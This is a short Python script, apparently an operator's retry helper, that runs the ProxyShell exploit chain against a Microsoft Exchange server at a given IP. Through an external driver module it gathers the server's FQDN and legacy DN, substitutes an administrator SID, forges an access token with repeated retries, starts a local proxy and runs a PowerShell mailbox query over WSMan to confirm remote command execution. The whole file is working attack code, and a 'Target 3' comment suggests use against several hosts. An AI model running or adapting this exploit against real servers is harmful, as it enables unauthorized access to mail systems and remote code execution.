#!/usr/bin/env python3
# Target 3 retry: get_token with retries and alternating autodiscover forms
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=25)
print("fqdn:", ps.get_fqdn())
ok = ps.get_legacydn()
print("legacydn:", ok, "email:", ps.email)
if not ok: sys.exit(1)
sid = ps.get_sid(); print("sid:", sid)
ps.sid = ps.admin_sid
# retry token
for i in range(6):
    try:
        t = ps.get_token()
        print(f"token attempt{i}:", "OK" if t else "none")
        if t: break
    except Exception as e:
        print(f"token attempt{i} exc: {type(e).__name__} {str(e)[:100]}")
    time.sleep(4)
else:
    print("token FAILED all"); sys.exit(2)
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    try:
        o, e = P.wsman_shell(s, port); return [str(x) for x in o], [str(x) for x in e]
    except Exception as ex: return None, str(ex)
print("whoami-ish:", run('Get-Mailbox -ResultSize 1 | Select-Object -ExpandProperty Name'))
